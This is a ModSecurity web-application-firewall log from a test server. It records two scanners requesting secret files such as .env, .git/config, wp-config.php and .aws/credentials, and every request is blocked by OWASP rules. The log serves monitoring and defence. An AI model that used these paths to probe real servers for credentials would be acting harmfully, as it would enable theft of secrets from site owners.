[Fri Mar 13 07:44:28.591281 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abOyTNw5WhVPlcU-Rd0sLwAAAAY"]
[Fri Mar 13 07:44:28.591484 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abOyTNw5WhVPlcU-Rd0sLwAAAAY"]
[Fri Mar 13 07:44:28.591665 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abOyTNw5WhVPlcU-Rd0sLwAAAAY"]
[Fri Mar 13 07:44:28.613505 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abOyTNw5WhVPlcU-Rd0sMAAAAAY"]
[Fri Mar 13 07:44:28.613646 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abOyTNw5WhVPlcU-Rd0sMAAAAAY"]
[Fri Mar 13 07:44:28.613833 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abOyTNw5WhVPlcU-Rd0sMAAAAAY"]
[Fri Mar 13 07:44:28.614011 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abOyTNw5WhVPlcU-Rd0sMAAAAAY"]
[Fri Mar 13 07:44:28.635024 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abOyTNw5WhVPlcU-Rd0sMQAAAAY"]
[Fri Mar 13 07:44:28.635244 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abOyTNw5WhVPlcU-Rd0sMQAAAAY"]
[Fri Mar 13 07:44:28.635420 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abOyTNw5WhVPlcU-Rd0sMQAAAAY"]
[Fri Mar 13 07:44:28.656367 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abOyTNw5WhVPlcU-Rd0sMgAAAAY"]
[Fri Mar 13 07:44:28.656579 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abOyTNw5WhVPlcU-Rd0sMgAAAAY"]
[Fri Mar 13 07:44:28.656779 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abOyTNw5WhVPlcU-Rd0sMgAAAAY"]
[Fri Mar 13 07:44:28.705587 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abOyTNw5WhVPlcU-Rd0sMwAAAAY"]
[Fri Mar 13 07:44:28.705809 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abOyTNw5WhVPlcU-Rd0sMwAAAAY"]
[Fri Mar 13 07:44:28.706020 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abOyTNw5WhVPlcU-Rd0sMwAAAAY"]
[Fri Mar 13 07:44:28.726892 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abOyTNw5WhVPlcU-Rd0sNAAAAAY"]
[Fri Mar 13 07:44:28.727107 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abOyTNw5WhVPlcU-Rd0sNAAAAAY"]
[Fri Mar 13 07:44:28.727303 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abOyTNw5WhVPlcU-Rd0sNAAAAAY"]
[Fri Mar 13 07:44:28.989085 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abOyTNw5WhVPlcU-Rd0sPgAAAAY"]
[Fri Mar 13 07:44:28.989253 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abOyTNw5WhVPlcU-Rd0sPgAAAAY"]
[Fri Mar 13 07:44:28.989402 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abOyTNw5WhVPlcU-Rd0sPgAAAAY"]
[Fri Mar 13 07:44:29.058115 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abOyTdw5WhVPlcU-Rd0sPwAAAAY"]
[Fri Mar 13 07:44:29.058294 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abOyTdw5WhVPlcU-Rd0sPwAAAAY"]
[Fri Mar 13 07:44:29.058510 2026] [:error] [pid 2664180] [client 45.148.10.174:42730] [client 45.148.10.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abOyTdw5WhVPlcU-Rd0sPwAAAAY"]
[Fri Mar 13 10:38:44.472912 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abPbJHATcTB67jsribTr2AAAAAg"]
[Fri Mar 13 10:38:44.473116 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abPbJHATcTB67jsribTr2AAAAAg"]
[Fri Mar 13 10:38:44.473255 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abPbJHATcTB67jsribTr2AAAAAg"]
[Fri Mar 13 10:38:44.495682 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abPbJHATcTB67jsribTr2QAAAAg"]
[Fri Mar 13 10:38:44.495893 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abPbJHATcTB67jsribTr2QAAAAg"]
[Fri Mar 13 10:38:44.496035 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abPbJHATcTB67jsribTr2QAAAAg"]
[Fri Mar 13 10:38:44.518174 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abPbJHATcTB67jsribTr2gAAAAg"]
[Fri Mar 13 10:38:44.518401 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abPbJHATcTB67jsribTr2gAAAAg"]
[Fri Mar 13 10:38:44.518569 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abPbJHATcTB67jsribTr2gAAAAg"]
[Fri Mar 13 10:38:44.562794 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abPbJHATcTB67jsribTr3AAAAAg"]
[Fri Mar 13 10:38:44.563002 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abPbJHATcTB67jsribTr3AAAAAg"]
[Fri Mar 13 10:38:44.563141 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abPbJHATcTB67jsribTr3AAAAAg"]
[Fri Mar 13 10:38:44.585575 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abPbJHATcTB67jsribTr3QAAAAg"]
[Fri Mar 13 10:38:44.585777 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abPbJHATcTB67jsribTr3QAAAAg"]
